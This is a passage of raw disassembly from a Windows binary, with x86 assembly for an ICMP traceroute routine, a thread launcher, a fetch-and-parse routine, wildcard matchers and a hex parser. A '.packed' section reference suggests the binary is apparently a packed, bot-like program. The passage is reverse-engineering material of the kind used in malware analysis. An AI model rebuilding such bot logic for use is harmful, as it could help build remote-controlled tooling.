push [ebp+var_34] call sub_416DCC pop ecx mov eax, [ebp+var_8] locret_409DCE: ; CODE XREF: sub_409CB1+22j leave retn sub_409CB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409DD0 proc near ; DATA XREF: sub_40A1A7+FDo var_2F0 = dword ptr -2F0h var_2EC = dword ptr -2ECh var_2E8 = dword ptr -2E8h var_2E4 = dword ptr -2E4h var_2E0 = dword ptr -2E0h var_2DC = dword ptr -2DCh var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = dword ptr -2C4h var_2C0 = dword ptr -2C0h var_2BC = dword ptr -2BCh var_2B8 = dword ptr -2B8h var_2B4 = dword ptr -2B4h var_2B0 = byte ptr -2B0h var_10D = byte ptr -10Dh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2F0h push 2ACh push [ebp+arg_0] lea eax, [ebp+var_2B0] push eax call sub_416B52 add esp, 0Ch push [ebp+arg_0] call sub_416B4C pop ecx movzx eax, byte_41E3F0 test eax, eax jnz short loc_409E6D push offset aIcmp_dll ; "ICMP.DLL" call dword_417054 mov dword_41E3E0, eax cmp dword_41E3E0, 0 jnz short loc_409E24 xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E24: ; CODE XREF: sub_409DD0+4Bj push offset aIcmpcreatefile ; "IcmpCreateFile" push dword_41E3E0 call dword_417058 mov dword_41E3DC, eax push offset aIcmpsendecho ; "IcmpSendEcho" push dword_41E3E0 call dword_417058 mov dword_41E3E8, eax push offset aIcmpclosehandl ; "IcmpCloseHandle" push dword_41E3E0 call dword_417058 mov dword_41E3E4, eax mov byte_41E3F0, 1 loc_409E6D: ; CODE XREF: sub_409DD0+32j cmp dword_41E3DC, 0 jnz short loc_409E7D xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E7D: ; CODE XREF: sub_409DD0+A4j cmp dword_41E3E8, 0 jnz short loc_409E8D xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E8D: ; CODE XREF: sub_409DD0+B4j cmp dword_41E3E4, 0 jnz short loc_409E9D xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E9D: ; CODE XREF: sub_409DD0+C4j lea eax, [ebp+var_10D] mov [ebp+var_2B8], eax push [ebp+var_2B8] call dword_417244 mov [ebp+var_2BC], eax cmp [ebp+var_2BC], 0FFFFFFFFh jnz short loc_409F18 push [ebp+var_2B8] call dword_41723C mov [ebp+var_2C0], eax cmp [ebp+var_2C0], 0 jz short loc_409F06 mov eax, [ebp+var_2C0] movsx eax, word ptr [eax+0Ah] push eax mov eax, [ebp+var_2C0] mov eax, [eax+0Ch] push dword ptr [eax] lea eax, [ebp+var_2BC] push eax call sub_416B52 add esp, 0Ch jmp short loc_409F18 ; --------------------------------------------------------------------------- loc_409F06: ; CODE XREF: sub_409DD0+10Dj push offset aCouldNotResolv ; "Could not resolve name" call sub_416DD8 pop ecx xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409F18: ; CODE XREF: sub_409DD0+F2j ; sub_409DD0+134j and [ebp+var_4], 0 mov byte ptr [ebp+var_2B4], 1 jmp short loc_409F33 ; --------------------------------------------------------------------------- loc_409F25: ; CODE XREF: sub_409DD0:loc_40A19Cj mov al, byte ptr [ebp+var_2B4] add al, 1 mov byte ptr [ebp+var_2B4], al loc_409F33: ; CODE XREF: sub_409DD0+153j movzx eax, byte ptr [ebp+var_2B4] movzx ecx, [ebp+var_D] cmp eax, ecx jg loc_40A1A1 cmp [ebp+var_4], 0 jnz loc_40A1A1 and [ebp+var_2EC], 0 or [ebp+var_2E4], 0FFFFFFFFh and [ebp+var_2E0], 0 and [ebp+var_2DC], 0 and [ebp+var_2D0], 0 and [ebp+var_2C8], 0 and [ebp+var_2CC], 0 and [ebp+var_2D8], 0 and [ebp+var_2D4], 0 jmp short loc_409F9E ; --------------------------------------------------------------------------- loc_409F91: ; CODE XREF: sub_409DD0:loc_40A04Ej mov eax, [ebp+var_2D4] inc eax mov [ebp+var_2D4], eax loc_409F9E: ; CODE XREF: sub_409DD0+1BFj mov eax, [ebp+var_2D4] cmp eax, [ebp+var_8] jnb loc_40A053 cmp [ebp+var_2D8], 0 jnz loc_40A053 push 20h push [ebp+var_C] push [ebp+var_2B4] lea eax, [ebp+var_2CC] push eax push [ebp+var_2BC] call sub_409CB1 add esp, 14h test eax, eax jz short loc_40A047 cmp [ebp+var_2CC], 0 jnz short loc_40A02F mov eax, [ebp+var_2D0] add eax, [ebp+var_2C4] mov [ebp+var_2D0], eax mov eax, [ebp+var_2C4] cmp eax, [ebp+var_2E4] jnb short loc_40A013 mov eax, [ebp+var_2C4] mov [ebp+var_2E4], eax loc_40A013: ; CODE XREF: sub_409DD0+235j mov eax, [ebp+var_2C4] cmp eax, [ebp+var_2DC] jbe short loc_40A02D mov eax, [ebp+var_2C4] mov [ebp+var_2DC], eax loc_40A02D: ; CODE XREF: sub_409DD0+24Fj jmp short loc_40A045 ; --------------------------------------------------------------------------- loc_40A02F: ; CODE XREF: sub_409DD0+215j mov eax, [ebp+var_2CC] mov [ebp+var_2EC], eax mov [ebp+var_2D8], 1 loc_40A045: ; CODE XREF: sub_409DD0:loc_40A02Dj jmp short loc_40A04E ; --------------------------------------------------------------------------- loc_40A047: ; CODE XREF: sub_409DD0+20Cj xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_40A04E: ; CODE XREF: sub_409DD0:loc_40A045j jmp loc_409F91 ; --------------------------------------------------------------------------- loc_40A053: ; CODE XREF: sub_409DD0+1D7j ; sub_409DD0+1E4j mov eax, [ebp+var_2C8] mov [ebp+var_2E8], eax cmp [ebp+var_2EC], 0 jnz short loc_40A07B mov eax, [ebp+var_2D0] xor edx, edx div [ebp+var_8] mov [ebp+var_2E0], eax jmp short loc_40A090 ; --------------------------------------------------------------------------- loc_40A07B: ; CODE XREF: sub_409DD0+296j and [ebp+var_2E4], 0 and [ebp+var_2E0], 0 and [ebp+var_2DC], 0 loc_40A090: ; CODE XREF: sub_409DD0+2A9j cmp [ebp+var_2EC], 0 jnz loc_40A165 push 2 push 4 lea eax, [ebp+var_2E8] push eax call dword_417220 mov [ebp+var_2F0], eax cmp [ebp+var_2F0], 0 jz short loc_40A115 movzx eax, byte ptr [ebp+var_2E8+3] push eax movzx eax, byte ptr [ebp+var_2E8+2] push eax movzx eax, byte ptr [ebp+var_2E8+1] push eax movzx eax, byte ptr [ebp+var_2E8] push eax mov eax, [ebp+var_2F0] push dword ptr [eax] push [ebp+var_2DC] push [ebp+var_2E0] push [ebp+var_2E4] movzx eax, byte ptr [ebp+var_2B4] push eax push offset dword_419594 lea eax, [ebp+var_2B0] push eax call sub_40D53F add esp, 2Ch jmp short loc_40A163 ; --------------------------------------------------------------------------- loc_40A115: ; CODE XREF: sub_409DD0+2EBj movzx eax, byte ptr [ebp+var_2E8+3] push eax movzx eax, byte ptr [ebp+var_2E8+2] push eax movzx eax, byte ptr [ebp+var_2E8+1] push eax movzx eax, byte ptr [ebp+var_2E8] push eax push [ebp+var_2DC] push [ebp+var_2E0] push [ebp+var_2E4] movzx eax, byte ptr [ebp+var_2B4] push eax push offset dword_419568 lea eax, [ebp+var_2B0] push eax call sub_40D53F add esp, 28h loc_40A163: ; CODE XREF: sub_409DD0+343j jmp short loc_40A187 ; --------------------------------------------------------------------------- loc_40A165: ; CODE XREF: sub_409DD0+2C7j push [ebp+var_2EC] movzx eax, byte ptr [ebp+var_2B4] push eax push offset dword_419540 lea eax, [ebp+var_2B0] push eax call sub_40D53F add esp, 10h loc_40A187: ; CODE XREF: sub_409DD0:loc_40A163j mov eax, [ebp+var_2BC] cmp eax, [ebp+var_2E8] jnz short loc_40A19C mov [ebp+var_4], 1 loc_40A19C: ; CODE XREF: sub_409DD0+3C3j jmp loc_409F25 ; --------------------------------------------------------------------------- loc_40A1A1: ; CODE XREF: sub_409DD0+170j ; sub_409DD0+17Aj xor eax, eax locret_40A1A3: ; CODE XREF: sub_409DD0+4Fj ; sub_409DD0+A8j ... leave retn 4 sub_409DD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A1A7 proc near ; CODE XREF: sub_40A9CF+FAEp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 18h cmp [ebp+arg_4], 0 jnz short loc_40A1C7 push offset unk_419618 push [ebp+arg_0] call sub_40D53F pop ecx pop ecx jmp locret_40A2D0 ; --------------------------------------------------------------------------- loc_40A1C7: ; CODE XREF: sub_40A1A7+Aj push 2ACh call sub_416B46 pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40A1E0 jmp locret_40A2D0 ; --------------------------------------------------------------------------- loc_40A1E0: ; CODE XREF: sub_40A1A7+32j push 1A3h push [ebp+arg_0] push [ebp+var_4] call sub_416B52 add esp, 0Ch push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 1A3h push eax call sub_416B3A ; strcpy pop ecx pop ecx cmp [ebp+arg_8], 0 jz short loc_40A22A push [ebp+arg_8] call sub_416B9C pop ecx cmp eax, 0FFh jg short loc_40A22A push [ebp+arg_8] call sub_416B9C pop ecx mov [ebp+var_10], eax jmp short loc_40A231 ; --------------------------------------------------------------------------- loc_40A22A: ; CODE XREF: sub_40A1A7+63j ; sub_40A1A7+73j mov [ebp+var_10], 1Eh loc_40A231: ; CODE XREF: sub_40A1A7+81j mov eax, [ebp+var_4] mov cl, byte ptr [ebp+var_10] mov [eax+2A3h], cl cmp [ebp+arg_C], 0 jz short loc_40A261 push [ebp+arg_C] call sub_416B9C pop ecx cmp eax, 927C0h jg short loc_40A261 push [ebp+arg_C] call sub_416B9C pop ecx mov [ebp+var_14], eax jmp short loc_40A268 ; --------------------------------------------------------------------------- loc_40A261: ; CODE XREF: sub_40A1A7+9Aj ; sub_40A1A7+AAj mov [ebp+var_14], 7530h loc_40A268: ; CODE XREF: sub_40A1A7+B8j mov eax, [ebp+var_4] mov ecx, [ebp+var_14] mov [eax+2A4h], ecx cmp [ebp+arg_10], 0 jz short loc_40A288 push [ebp+arg_10] call sub_416B9C pop ecx mov [ebp+var_18], eax jmp short loc_40A28F ; --------------------------------------------------------------------------- loc_40A288: ; CODE XREF: sub_40A1A7+D1j mov [ebp+var_18], 3 loc_40A28F: ; CODE XREF: sub_40A1A7+DFj mov eax, [ebp+var_4] mov ecx, [ebp+var_18] mov [eax+2A8h], ecx lea eax, [ebp+var_C] push eax push 0 push [ebp+var_4] push offset sub_409DD0 push 0 push 0 call dword_4170B4 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_40A2C7 push [ebp+var_4] call sub_416B4C pop ecx jmp short locret_40A2D0 ; --------------------------------------------------------------------------- loc_40A2C7: ; CODE XREF: sub_40A1A7+113j push [ebp+var_8] call dword_4170A4 locret_40A2D0: ; CODE XREF: sub_40A1A7+1Bj ; sub_40A1A7+34j ... leave retn sub_40A1A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A2D2 proc near ; CODE XREF: sub_40A4A4+30p var_111C = dword ptr -111Ch var_1118 = dword ptr -1118h var_1114 = byte ptr -1114h var_114 = byte ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 111Ch call sub_416BC0 mov eax, [ebp+arg_0] add eax, 4 push eax mov eax, [ebp+arg_0] add eax, 104h push eax mov eax, [ebp+arg_0] mov eax, [eax] push dword ptr [eax] push offset dword_41966C mov eax, [ebp+arg_0] add eax, 204h push eax call sub_40D53F add esp, 14h push 2710h push 0 push offset dword_419668 mov eax, [ebp+arg_0] add eax, 104h push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_40A339 xor al, al jmp locret_40A4A2 ; --------------------------------------------------------------------------- loc_40A339: ; CODE XREF: sub_40A2D2+5Ej mov eax, [ebp+arg_0] add eax, 4 push eax push offset dword_419660 lea eax, [ebp+var_114] push eax call dword_4171E0 add esp, 0Ch lea eax, [ebp+var_114] push eax call sub_416B40 pop ecx inc eax push eax lea eax, [ebp+var_114] push eax push [ebp+var_8] call sub_4053BF add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40A38F push [ebp+var_8] call sub_40538D pop ecx xor al, al jmp locret_40A4A2 ; --------------------------------------------------------------------------- loc_40A38F: ; CODE XREF: sub_40A2D2+ABj push 1000h lea eax, [ebp+var_1114] push eax push [ebp+var_8] call sub_4053DC add esp, 0Ch mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_40A3B5 cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_40A3C5 loc_40A3B5: ; CODE XREF: sub_40A2D2+DBj push [ebp+var_8] call sub_40538D pop ecx xor al, al jmp locret_40A4A2 ; --------------------------------------------------------------------------- loc_40A3C5: ; CODE XREF: sub_40A2D2+E1j lea eax, [ebp+var_1114] mov [ebp+var_10], eax loc_40A3CE: ; CODE XREF: sub_40A2D2:loc_40A492j mov eax, [ebp+var_10] mov [ebp+var_111C], eax mov eax, [ebp+var_111C] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A3E9 jmp loc_40A497 ; --------------------------------------------------------------------------- loc_40A3E9: ; CODE XREF: sub_40A2D2+110j push [ebp+var_111C] call sub_407B5E pop ecx mov [ebp+var_10], eax mov eax, [ebp+var_111C] movsx eax, byte ptr [eax] test eax, eax jz short loc_40A41B push offset dword_418F4C push [ebp+var_111C] call sub_416DDE pop ecx pop ecx test eax, eax jnz short loc_40A442 loc_40A41B: ; CODE XREF: sub_40A2D2+131j mov eax, [ebp+var_111C] lea ecx, [ebp+var_1114] cmp eax, ecx jz short loc_40A440 push offset dword_41965C mov eax, [ebp+arg_0] add eax, 204h push eax call sub_40D53F pop ecx pop ecx loc_40A440: ; CODE XREF: sub_40A2D2+157j jmp short loc_40A458 ; --------------------------------------------------------------------------- loc_40A442: ; CODE XREF: sub_40A2D2+147j push [ebp+var_111C] mov eax, [ebp+arg_0] add eax, 204h push eax call sub_40D53F pop ecx pop ecx loc_40A458: ; CODE XREF: sub_40A2D2:loc_40A440j push 3E8h call dword_41709C push offset dword_41E3B8 call sub_409C6C pop ecx mov eax, [ebp+arg_0] mov eax, [eax] mov eax, [eax+4] mov [ebp+var_1118], eax push offset dword_41E3B8 call sub_409C7A pop ecx cmp [ebp+var_1118], 0 jz short loc_40A492 jmp short loc_40A497 ; --------------------------------------------------------------------------- loc_40A492: ; CODE XREF: sub_40A2D2+1BCj jmp loc_40A3CE ; --------------------------------------------------------------------------- loc_40A497: ; CODE XREF: sub_40A2D2+112j ; sub_40A2D2+1BEj push [ebp+var_8] call sub_40538D pop ecx mov al, 1 locret_40A4A2: ; CODE XREF: sub_40A2D2+62j ; sub_40A2D2+B8j ... leave retn sub_40A2D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A4A4 proc near ; DATA XREF: sub_40A50E+A1o var_3A8 = dword ptr -3A8h var_2A4 = byte ptr -2A4h var_1A4 = byte ptr -1A4h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3A8h push 3A7h push [ebp+arg_0] lea eax, [ebp+var_3A8] push eax call sub_416B52 add esp, 0Ch push [ebp+arg_0] call sub_416B4C pop ecx lea eax, [ebp+var_3A8] push eax call sub_40A2D2 pop ecx movzx eax, al test eax, eax jnz short loc_40A4FC lea eax, [ebp+var_2A4] push eax push offset dword_419698 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40A4FC: ; CODE XREF: sub_40A4A4+3Bj push [ebp+var_3A8] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_40A4A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A50E proc near ; CODE XREF: sub_40A9CF+FE3p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jnz short loc_40A51D jmp locret_40A5BC ; --------------------------------------------------------------------------- loc_40A51D: ; CODE XREF: sub_40A50E+8j push 3A7h call sub_416B46 pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40A536 jmp locret_40A5BC ; --------------------------------------------------------------------------- loc_40A536: ; CODE XREF: sub_40A50E+21j push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B3A ; strcpy pop ecx pop ecx cmp [ebp+arg_8], 0 jz short loc_40A562 push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 104h push eax call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_40A586 ; --------------------------------------------------------------------------- loc_40A562: ; CODE XREF: sub_40A50E+3Dj push offset dword_4196D4 mov eax, [ebp+var_4] add eax, 104h push eax call sub_416B3A ; strcpy pop ecx pop ecx mov eax, [ebp+var_4] add eax, 104h push eax call sub_4105FB pop ecx loc_40A586: ; CODE XREF: sub_40A50E+52j push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 204h push eax call sub_416B52 add esp, 0Ch push [ebp+arg_4] push [ebp+arg_8] push offset dword_4196B4 push 0 push [ebp+var_4] push offset sub_40A4A4 call sub_4095A4 add esp, 18h locret_40A5BC: ; CODE XREF: sub_40A50E+Aj ; sub_40A50E+23j leave retn sub_40A50E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A5BE proc near ; CODE XREF: sub_40A5BE+32p ; sub_40A5BE+70p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A603 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A5DD mov al, 1 jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A5DD: ; CODE XREF: sub_40A5BE+16j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A5FC mov eax, [ebp+arg_4] inc eax push eax push [ebp+arg_0] call sub_40A5BE pop ecx pop ecx jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A5FC: ; CODE XREF: sub_40A5BE+28j xor al, al jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A603: ; CODE XREF: sub_40A5BE+Cj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A614 xor al, al jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A614: ; CODE XREF: sub_40A5BE+4Dj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_40A63A mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A5BE pop ecx pop ecx jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A63A: ; CODE XREF: sub_40A5BE+64j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 3Fh jnz short loc_40A65B mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A5BE pop ecx pop ecx jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A65B: ; CODE XREF: sub_40A5BE+85j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A69E mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 30h jl short loc_40A67C mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 39h jle short loc_40A687 loc_40A67C: ; CODE XREF: sub_40A5BE+B1j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A69A loc_40A687: ; CODE XREF: sub_40A5BE+BCj mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A5BE pop ecx pop ecx jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A69A: ; CODE XREF: sub_40A5BE+C7j xor al, al jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A69E: ; CODE XREF: sub_40A5BE+A6j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A6E7 and [ebp+var_4], 0 jmp short loc_40A6B6 ; --------------------------------------------------------------------------- loc_40A6AF: ; CODE XREF: sub_40A5BE:loc_40A6E5j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40A6B6: ; CODE XREF: sub_40A5BE+EFj mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] push eax call sub_40A5BE pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40A6D4 mov al, 1 jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A6D4: ; CODE XREF: sub_40A5BE+110j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A6E5 xor al, al jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A6E5: ; CODE XREF: sub_40A5BE+121j jmp short loc_40A6AF ; --------------------------------------------------------------------------- loc_40A6E7: ; CODE XREF: sub_40A5BE+E9j xor al, al locret_40A6E9: ; CODE XREF: sub_40A5BE+1Aj ; sub_40A5BE+39j ... leave retn sub_40A5BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A6EB proc near ; CODE XREF: sub_4097A7+10Ap ; sub_4098F3+155p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A730 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A70A mov al, 1 jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A70A: ; CODE XREF: sub_40A6EB+16j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A729 mov eax, [ebp+arg_4] inc eax push eax push [ebp+arg_0] call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A729: ; CODE XREF: sub_40A6EB+28j xor al, al jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A730: ; CODE XREF: sub_40A6EB+Cj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A741 xor al, al jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A741: ; CODE XREF: sub_40A6EB+4Dj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_40A767 mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A767: ; CODE XREF: sub_40A6EB+64j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 41h jl short loc_40A77D mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 5Ah jle short loc_40A793 loc_40A77D: ; CODE XREF: sub_40A6EB+85j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 61h jl short loc_40A7BC mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 7Ah jg short loc_40A7BC loc_40A793: ; CODE XREF: sub_40A6EB+90j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] xor eax, 20h mov ecx, [ebp+arg_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_40A7BC mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A7BC: ; CODE XREF: sub_40A6EB+9Bj ; sub_40A6EB+A6j ... mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 3Fh jnz short loc_40A7DD mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A7DD: ; CODE XREF: sub_40A6EB+DAj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A820 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 30h jl short loc_40A7FE mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 39h jle short loc_40A809 loc_40A7FE: ; CODE XREF: sub_40A6EB+106j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A81C loc_40A809: ; CODE XREF: sub_40A6EB+111j mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A81C: ; CODE XREF: sub_40A6EB+11Cj xor al, al jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A820: ; CODE XREF: sub_40A6EB+FBj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A869 and [ebp+var_4], 0 jmp short loc_40A838 ; --------------------------------------------------------------------------- loc_40A831: ; CODE XREF: sub_40A6EB:loc_40A867j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40A838: ; CODE XREF: sub_40A6EB+144j mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] push eax call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40A856 mov al, 1 jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A856: ; CODE XREF: sub_40A6EB+165j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A867 xor al, al jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A867: ; CODE XREF: sub_40A6EB+176j jmp short loc_40A831 ; --------------------------------------------------------------------------- loc_40A869: ; CODE XREF: sub_40A6EB+13Ej xor al, al locret_40A86B: ; CODE XREF: sub_40A6EB+1Aj ; sub_40A6EB+39j ... leave retn sub_40A6EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A86D proc near ; CODE XREF: sub_40A8AD+FDp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov [ebp+var_4], 1 cmp [ebp+arg_4], 0 jnz short loc_40A884 push 1 pop eax jmp short locret_40A8AB ; --------------------------------------------------------------------------- loc_40A884: ; CODE XREF: sub_40A86D+10j mov [ebp+var_8], 1 jmp short loc_40A894 ; --------------------------------------------------------------------------- loc_40A88D: ; CODE XREF: sub_40A86D+39j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40A894: ; CODE XREF: sub_40A86D+1Ej mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] loc_40A89A: ; DATA XREF: .packed:0041AE78o ; .packed:0041AEBCo ... jg short loc_40A8A8 mov eax, [ebp+var_4] imul eax, [ebp+arg_0] mov [ebp+var_4], eax jmp short loc_40A88D ; --------------------------------------------------------------------------- loc_40A8A8: ; CODE XREF: sub_40A86D:loc_40A89Aj mov eax, [ebp+var_4] locret_40A8AB: ; CODE XREF: sub_40A86D+15j leave retn sub_40A86D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A8AD proc near ; CODE XREF: sub_406509+26p ; sub_40A9CF+193Fp ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push esi push edi mov [ebp+var_4], 1 and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_20], 0 mov esi, offset aAbcdef ; "abcdef" lea edi, [ebp+var_1C] movsd movsw movsb mov eax, [ebp+arg_0] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 30h jnz short loc_40A90C mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax mov eax, [ebp+arg_0] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 78h jz short loc_40A905 mov eax, [ebp+arg_0] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 58h jnz short loc_40A90C loc_40A905: ; CODE XREF: sub_40A8AD+48j mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax loc_40A90C: ; CODE XREF: sub_40A8AD+33j ; sub_40A8AD+56j push [ebp+arg_0] call sub_416B40 pop ecx mov [ebp+var_28], eax mov eax, [ebp+var_20] mov [ebp+var_14], eax jmp short loc_40A927 ; --------------------------------------------------------------------------- loc_40A920: ; CODE XREF: sub_40A8AD+116j mov eax, 